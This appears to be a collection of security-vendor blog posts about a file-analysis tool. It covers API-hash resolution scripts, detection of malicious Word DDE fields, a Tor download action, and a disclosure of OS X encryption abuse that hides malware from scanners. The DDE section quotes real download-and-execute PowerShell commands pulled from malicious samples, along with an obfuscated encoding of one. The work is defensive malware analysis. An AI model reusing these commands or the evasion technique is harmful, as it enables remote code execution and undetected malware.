To stay ahead of the ever-evolving landscape of malware techniques, we have released the ThreatPulse package. This continuously updated package is available for all Cerbero Suite licenses through Cerbero Store.
Category: Security
Malicious Windows Link with Embedded Microsoft Cabinet
You can find the original analysis for this malware at malwarebytes. As a bonus, in the video we show how to improve the static analysis of the final payload by resolving API calls.
This script converts the decrypted blob hashes into a call index → api name dictionary.
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from Pro.Core import *
from Pro.PE import *
from Pro.ccast import *
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def getAPIs(dllpath):
apis = {}
c = createContainerFromFile(dllpath)
dll = PEObject()
if not dll.Load(c):
print("error: couldn't load dll")
return apis
ordbase = dll.ExportDirectory().Num("Base")
functions = dll.ExportDirectoryFunctions()
names = dll.ExportDirectoryNames()
nameords = dll.ExportDirectoryNameOrdinals()
n = functions.Count()
it = functions.iterator()
for x in range(n):
func = it.next()
ep = func.Num(0)
if ep == 0:
continue
apiord = str(ordbase + x)
n2 = nameords.Count()
it2 = nameords.iterator()
name_found = False
for y in range(n2):
no = it2.next()
if no.Num(0) == x:
name = names.At(y)
offs = dll.RvaToOffset(name.Num(0))
name, ret = dll.ReadUInt8String(offs, 500)
apiname = name.decode("ascii")
apis[apiname] = apiord
apis[apiord] = apiname
name_found = True
break
if not name_found:
apis[apiord] = apiord
return apis
def hash(name):
x = 0
for c in name:
x = ror(x, 0xD, 32)
x += ord(c)
x = ror(x, 0xD, 32)
return x
def hashAPIs(apis):
hapis = {}
for i, name in apis.items():
hapis[hash(name)] = name
return hapis
def walkBlob():
i = 0
idxs = {}
pos = 0
while i < len(blob):
e = blob.find(b"\x00", i)
if i == e:
break
s = blob[i:e].decode("ascii")
i = e + 1
if "." in s:
dllname = s
apis = getAPIs("C:\\Windows\\System32\\" + dllname)
apis = hashAPIs(apis)
else:
x = dword(int(s))
apiname = apis[x]
idxs[pos] = apiname
pos += 0x10
print(apiname)
return idxs
idxs = walkBlob()
print(idxs) This script uses the index dictionary from the previous script to comment register-based call instructions in the disassembly with the resolved API name.
idxs = {0: 'VirtualAlloc', 16: 'Sleep', 32: 'CreateThread', 48: 'CloseHandle', 64: 'ReadFile', 80: 'CreateFileA', 96: 'WriteFile', 112: 'GetFileSize', 128: 'lstrlenA', 144: 'lstrlenW', 160: 'lstrcpyA', 176: 'lstrcpyW', 192: 'lstrcatA', 208: 'lstrcatW', 224: 'lstrcmpA', 240: 'lstrcmpW', 256: 'VirtualFree', 272: 'WaitForSingleObject', 288: 'TerminateThread', 304: 'GetTickCount', 320: 'FormatMessageA', 336: 'GetLastError', 352: 'EnterCriticalSection', 368: 'LeaveCriticalSection', 384: 'InitializeCriticalSection', 400: 'DeleteCriticalSection', 416: 'LocalFree', 432: 'MultiByteToWideChar', 448: 'WideCharToMultiByte', 464: 'GetComputerNameW', 480: 'GetModuleFileNameW', 496: 'GetCurrentProcessId', 512: 'GetLocalTime', 528: 'QueryPerformanceFrequency', 544: 'QueryPerformanceCounter', 560: 'IsWow64Process', 576: 'GetCurrentProcess', 592: 'GetVersionExA', 608: 'GlobalFree', 624: 'VirtualFreeEx', 640: 'DuplicateHandle', 656: 'DebugBreak', 672: 'CreateEventW', 688: 'DeviceIoControl', 704: 'DeleteFileA', 720: 'GetTempPathA', 736: 'GetTempFileNameA', 752: 'SetErrorMode', 768: 'FreeLibrary', 784: 'RtlGetNtVersionNumbers', 800: 'RtlNtStatusToDosError', 816: 'RtlDecompressBuffer', 832: 'RtlCompressBuffer', 848: 'RtlGetCompressionWorkSpaceSize', 864: 'NtQuerySystemInformation', 880: 'NtQueryObject', 896: 'PeekMessageW', 912: 'GetMessageW', 928: 'PostThreadMessageW', 944: 'send', 960: 'recv', 976: 'closesocket', 992: 'WSAStartup', 1008: 'socket', 1024: 'bind', 1040: 'listen', 1056: 'accept', 1072: 'connect', 1088: 'WSACleanup', 1104: 'inet_addr', 1120: 'inet_ntoa', 1136: 'htons', 1152: 'getaddrinfo', 1168: 'freeaddrinfo', 1184: 'WSAAddressToStringA', 1200: 'setsockopt', 1216: 'getsockopt', 1232: 'recvfrom', 1248: 'sendto', 1264: 'shutdown', 1280: 'WSAGetLastError', 1296: 'select', 1312: 'getpeername', 1328: 'CryptAcquireContextW', 1344: 'CryptDestroyHash', 1360: 'CryptCreateHash', 1376: 'CryptHashData', 1392: 'CryptGetHashParam', 1408: 'CryptDeriveKey', 1424: 'CryptEncrypt', 1440: 'CryptDecrypt', 1456: 'GetUserNameW', 1472: 'UuidCreate', 1488: 'WinHttpGetIEProxyConfigForCurrentUser', 1504: 'WinHttpOpen', 1520: 'WinHttpGetProxyForUrl', 1536: 'WinHttpCloseHandle', 1552: 'WinHttpConnect', 1568: 'WinHttpOpenRequest', 1584: 'WinHttpAddRequestHeaders', 1600: 'WinHttpSendRequest', 1616: 'WinHttpWriteData', 1632: 'WinHttpQueryDataAvailable', 1648: 'WinHttpQueryOption', 1664: 'WinHttpReceiveResponse', 1680: 'WinHttpReadData', 1696: 'WinHttpSetOption', 1712: 'WinHttpSetCredentials', 1728: 'WinHttpQueryAuthSchemes', 1744: 'GetAdaptersInfo', 1760: 'CryptBinaryToStringA', 1776: 'CryptStringToBinaryA', 1792: 'StrStrIA', 1808: 'URLDownloadToFileA', 1824: 'memset', 1840: 'memmove', 1856: 'memcpy', 1872: 'memcmp', 1888: '_wcsicmp', 1904: 'time', 1920: 'strstr', 1936: 'atoi', 1952: '_itow', 1968: 'srand', 1984: 'rand', 2000: '_wcsnicmp', 2016: 'sprintf', 2032: 'printf'}
from Pro.UI import proContext
from Pro.Carbon import *
from Pro.capstone import *
import re
def commentAPIs():
md = Cs(CS_ARCH_X86, CS_MODE_64)
v = proContext().getCurrentView()
ca = v.getCarbon()
db = ca.getDB()
e = caASEntry()
e.end = 0
while db.getNextASEntry(e.end, e):
if e.type_id != CarbonType_I_x64:
continue
buf = ca.read(e.start, e.end - e.start)
insns = md.disasm(buf, 0)
i = next(insns, None)
if i.mnemonic != "call":
continue
print(i.mnemonic, i.op_str)
if i.op_str.find("rip") != -1:
continue
j = i.op_str.find("+ 0x")
if j == -1:
continue
idx = int(i.op_str[j+2:-1], 16)
if idx > 0x1000:
continue
apiname = idxs.get(idx, None)
if not apiname:
continue
c = caComment()
if db.getComment(e.start, c) and c.text:
continue
c.address = e.start
c.text = apiname
db.setComment(c)
print(" ", apiname)
# update the view
v.update()
commentAPIs()Microsoft Office DDE Detection
In this article we’re not going to discuss how DDE works, there are plenty of excellent resources about this topic already (also here and here).
Instead we’re going to see how to inspect DDE field codes in Profiler. In fact, the upcoming 2.9 version of Profiler comes with detection of DDE field codes.
So let’s start by opening a modern Word document (.docx).
We can see that the main document.xml is highlighted as malicious. If we open the file, we’ll see that Profiler informs us about a possible DDE attack.
The actual DDE code is spread among the XML and makes it difficult for us to read.
DDEAUTO
"C
:\
\
Programs
\
\Microsoft
So let’s use two actions to clean it up. Press Ctrl+R to execute the XML->To text action.
Followed by the Text->Strip one.
Once done, we’ll obtain the following text:
DDEAUTO c:\ \Windows\ \ System32\ \ cmd.exe “/ k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( ‘ http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/ DDE 2 .ps1’);powershell -e $e ” !Unexpected End of Formula
Which is pretty clear: it downloads a PowerShell script from a URL and then executes it.
Now let’s look at an old-school Word document (.doc).
In this case it’s even easier for us to inspect the DDE code as clicking on the threat immediately brings us to it.
By copying the ascii text from the hex view or executing the Conversion->Bytes to text action we’ll obtain the following code:
DDEAUTO c:\\Windows\\System32\\cmd.exe “/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source “https://www.dropbox.com/s/or2llvdmli1bw4o/index.js?dl=1” -Destination “index.js” & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js”
Which downloads a Windows JS script and executes it.
Now let’s go back to a modern office sample. In this particular case the DDE code is obfuscated as explained in two of the articles linked in the beginning.
The XML is full of this QUOTE-followed-by-decimal-numbers syntax.
SET c
"
"
SET d
"
Since the strings are inside XML attributes, we can’t use the XML->To text action. Instead, we just clean it up manually as there are only 3 of these QUOTES.
SET c QUOTE 67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35
QUOTE 97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110
QUOTE 116 114 121 32 97 103 97 105 110 32 108 97 116 101 114 Out of this, we can make a small Python script to convert the numbers to a hex string and print it out to the console:
s = "67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35 97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110 116 114 121 32 97 103 97 105 110 32 108 97 116 101 114"
l = s.split(" ")
l2 = list()
for n in l:
if n.strip():
l2.append(int(n))
b = bytearray(l2)
import binascii
b = binascii.hexlify(b)
print(b) Then we simply select the hex string and run the action Conversion->Hex string to bytes.
And now we can see the decoded bytes in hex view.
This is the DDE code:
C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://netmediaresources.com/config.txt’);powershell -enc $e #a slow internet connectiontry again later
Yet again it downloads a PowerShell script and executes it.
Pretty simple!
URL Download Action (Tor)
In the upcoming version of Profiler Advanced we have introduced a new useful action, namely the URL Download action.
Many times in previous posts we have analyzed some malware which at the end of its shellcode ended up downloading a binary from the internet and executing it. We thought it would be nice to give our users the possibility to anonymously download content from the internet in order to continue the analysis.
One way to download anonymously from the internet using our new action is via Tor. On Windows it’s sufficient to install and run the Tor browser.
The action will automatically try to load a possible URL from the current context, be it hex view, text editor or clipboard.
The dialog of the action offers different configuration settings: headers, user agent, download method (direct, SOCKS4, SOCKS5) along with relative parameters, anonymity check and also what to do with the downloaded content (either download it to file or preview it in a hex view).
Since we’re using Tor, we can either use the SOCKS4 or 5 method. We specify our local address and the port onto which Tor is listening for connections, in this case 9150.
The anonymity check is performed against our own https secured server: it will fetch the real IP by connecting to our server and then try to connect again via the secure method.
When the anonymity verification option is selected, before downloading the payload, we are asked by a message box to confirm the success of the anonymization.
If we click on OK, Profiler will then fetch the actual payload.
If we chose to preview the content in a hex view and decide later that we want to save it on disk, we can do so by selecting all the bytes (Ctrl+A) and then copying them into a new file via the copy menu.
Disclosure: Creating undetected malware for OS X
While this PoC is about static analysis, it’s very different than applying a packer to a malware. OS X uses an internal mechanism to load encrypted Apple executables and we’re going to exploit the same mechanism to defeat current anti-malware solutions.
OS X implements two encryption systems for its executables (Mach-O). The first one is implemented through the LC_ENCRYPTION_INFO loader command. Here’s the code which handles this command:
case LC_ENCRYPTION_INFO:
if (pass != 3)
break;
ret = set_code_unprotect(
(struct encryption_info_command *) lcp,
addr, map, slide, vp);
if (ret != LOAD_SUCCESS) {
printf("proc %d: set_code_unprotect() error %d "
"for file \"%s\"\n",
p->p_pid, ret, vp->v_name);
/* Don't let the app run if it's
* encrypted but we failed to set up the
* decrypter */
psignal(p, SIGKILL);
}
break; This code calls the set_code_unprotect function which sets up the decryption through text_crypter_create:
/* set up decrypter first */
kr=text_crypter_create(&crypt_info, cryptname, (void*)vpath); The text_crypter_create function is actually a function pointer registered through the text_crypter_create_hook_set kernel API. While this system can allow for external components to register themselves and handle decryption requests, we couldn’t see it in use on current versions of OS X.
The second encryption mechanism which is actually being used internally by Apple doesn’t require a loader command. Instead, it signals encrypted segments through a flag.
The ‘PROTECTED‘ flag is checked while loading a segment in the load_segment function:
if (scp->flags & SG_PROTECTED_VERSION_1) {
ret = unprotect_segment(scp->fileoff,
scp->filesize,
vp,
pager_offset,
map,
map_addr,
map_size);
} else {
ret = LOAD_SUCCESS;
} The unprotect_segment function sets up the range to be decrypted, the decryption function and method. It then calls vm_map_apple_protected.
#define APPLE_UNPROTECTED_HEADER_SIZE (3 * PAGE_SIZE_64)
static load_return_t
unprotect_segment(
uint64_t file_off,
uint64_t file_size,
struct vnode *vp,
off_t macho_offset,
vm_map_t map,
vm_map_offset_t map_addr,
vm_map_size_t map_size)
{
kern_return_t kr;
/*
* The first APPLE_UNPROTECTED_HEADER_SIZE bytes (from offset 0 of
* this part of a Universal binary) are not protected...
* The rest needs to be "transformed".
*/
if (file_off <= APPLE_UNPROTECTED_HEADER_SIZE &&
file_off + file_size <= APPLE_UNPROTECTED_HEADER_SIZE) {
/* it's all unprotected, nothing to do... */
kr = KERN_SUCCESS;
} else {
if (file_off <= APPLE_UNPROTECTED_HEADER_SIZE) {
/*
* We start mapping in the unprotected area.
* Skip the unprotected part...
*/
vm_map_offset_t delta;
delta = APPLE_UNPROTECTED_HEADER_SIZE;
delta -= file_off;
map_addr += delta;
map_size -= delta;
}
/* ... transform the rest of the mapping. */
struct pager_crypt_info crypt_info;
crypt_info.page_decrypt = dsmos_page_transform;
crypt_info.crypt_ops = NULL;
crypt_info.crypt_end = NULL;
#pragma unused(vp, macho_offset)
crypt_info.crypt_ops = (void *)0x2e69cf40;
kr = vm_map_apple_protected(map,
map_addr,
map_addr + map_size,
&crypt_info);
}
if (kr != KERN_SUCCESS) {
return LOAD_FAILURE;
}
return LOAD_SUCCESS;
} Two things about the code above. The first 3 pages (0x3000) of a Mach-O can't be encrypted/decrypted. And, as can be noticed, the decryption function is dsmos_page_transform.
Just like text_crypter_create even dsmos_page_transform is a function pointer which is set through the dsmos_page_transform_hook kernel API. This API is called by the kernel extension "Dont Steal Mac OS X.kext", allowing for the decryption logic to be contained outside of the kernel in a private kernel extension by Apple.
Apple uses this technology to encrypt some of its own core components like "Finder.app" or "Dock.app". On current OS X systems this mechanism doesn't provide much of a protection against reverse engineering in the sense that attaching a debugger and dumping the memory is sufficient to retrieve the decrypted executable.
However, this mechanism can be abused by encrypting malware which will no longer be detected by the static analysis technologies of current security solutions.
To demonstrate this claim we took a known OS X malware:
Since this is our public disclosure, we will say that the detection rate stood at about 20-25.
And encrypted it:
After encryption has been applied, the malware is no longer detected by scanners at VirusTotal. The problem is that OS X has no problem in loading and executing the encrypted malware.
The difference compared to a packer is that the decryption code is not present in the executable itself and so the static analysis engine can't recognize a stub or base itself on other data present in the executable, since all segments can be encrypted. Thus, the scan engine also isn't able to execute the encrypted code in its own virtual machine for a more dynamic analysis.
Two other important things about the encryption system is that the private key is the same and is shared across different versions of OS X. And it's not a chained encryption either: but per-page. Which means that changing data in the first encrypted page doesn't affect the second encrypted page and so on.
Our flagship product, Cerbero Profiler, which is an interactive file analysis infrastructure, is able to decrypt protected executables. To dump an unprotected copy of the Mach-O just perform a “Select all” (Ctrl+A) in the main hex view and then click on “Copy into new file” like in the screen-shot below.
The saved file can be executed on OS X or inspected with other tools.
Of course, the decryption can be achieved programmatically through our Python SDK as well. Just load the Mach-O file, initialize it (ProcessLoadCommands) and save to disk the stream returned by the GetStream.
A solution to mitigate this problem could be one of the following:
- Implement the decryption mechanism like we did.
- Check the presence of encrypted segments. If they are present, trust only executables with a valid code signature issued by Apple.
- 3. Check the presence of encrypted segments. If they are present, trust only executables whose cryptographic hash matches a trusted one.
This kind of internal protection system should be avoided in an operating system, because it can be abused.
After we shared our internal report, VirusBarrier Team at Intego sent us the following previous research about Apple Binary Protection:
http://osxbook.com/book/bonus/chapter7/binaryprotection/
http://osxbook.com/book/bonus/chapter7/tpmdrmmyth/
https://github.com/AlanQuatermain/appencryptor
The research talks about the old implementation of the binary protection. The current page transform hook looks like this:
if (v9 == 0x2E69CF40) // this is the constant used in the current kernel
{
// current decryption algo
}
else
{
if (v9 != 0xC2286295)
{
// ...
if (!some_bool)
{
printf("DSMOS++: WARNING -- Old Kernel\n");
++some_bool;
}
}
// old decryption algo
} VirusBarrier Team also reported the following code by Steve Nygard in his class-dump utility:
https://bitbucket.org/nygard/class-dump/commits/5908ac605b5dfe9bfe2a50edbc0fbd7ab16fd09c
This is the correct decryption code. In fact, the kernel extension by Apple, just as in the code above provided by Steve Nygard, uses the OpenSSL implementation of Blowfish.
We didn't know about Nygard's code, so we did our own research about the topic and applied it to malware. We would like to thank VirusBarrier Team at Intego for its cooperation and quick addressing of the issue. At the time of writing we're not aware of any security solution for OS X, apart VirusBarrier, which isn't tricked by this technique. We even tested some of the most important security solutions individually on a local machine.
The current 0.9.9 version of Cerbero Profiler already implements the decryption of Mach-Os, even though it's not explicitly written in the changelist.
We didn't implement the old decryption method, because it didn't make much sense in our case and we're not aware of a clean way to automatically establish whether the file is old and therefore uses said encryption.
These two claims need a clarification. If we take a look at Nygard's code, we can see a check to establish the encryption method used:
#define CDSegmentProtectedMagic_None 0
#define CDSegmentProtectedMagic_AES 0xc2286295
#define CDSegmentProtectedMagic_Blowfish 0x2e69cf40
if (magic == CDSegmentProtectedMagic_None) {
// ...
} else if (magic == CDSegmentProtectedMagic_Blowfish) {
// 10.6 decryption
// ...
} else if (magic == CDSegmentProtectedMagic_AES) {
// ...
} It checks the first dword in the encrypted segment (after the initial three non-encrypted pages) to decide which decryption algorithm should be used. This logic has a problem, because it assumes that the first encrypted block is full of 0s, so that when encrypted with AES it produces a certain magic and when encrypted with Blowfish another one. This logic fails in the case the first block contains values other than 0. In fact, some samples we encrypted didn't produce a magic for this exact reason.
Also, current versions of OS X don't rely on a magic check and don't support AES encryption. As we can see from the code displayed at the beginning of the article, the kernel doesn't read the magic dword and just sets the Blowfish magic value as a constant:
crypt_info.crypt_ops = (void *)0x2e69cf40; So while checking the magic is useful for normal cases, security solutions can't rely on it or else they can be easily tricked into using the wrong decryption algorithm.
If your organization wishes to be informed by us in the future before public disclosure about findings & issues, it can contact us and become a technical partner for free.
Creating undetected malware for OS X
We have discovered a way to defeat current anti-malware solutions. We will publicly disclose the full details of the issue in a few weeks.
In the meantime, we’re more than happy to confidentially disclose the information with interested organizations (either security vendors or known companies which could benefit from it). Just send an email to: info@icerbero.com
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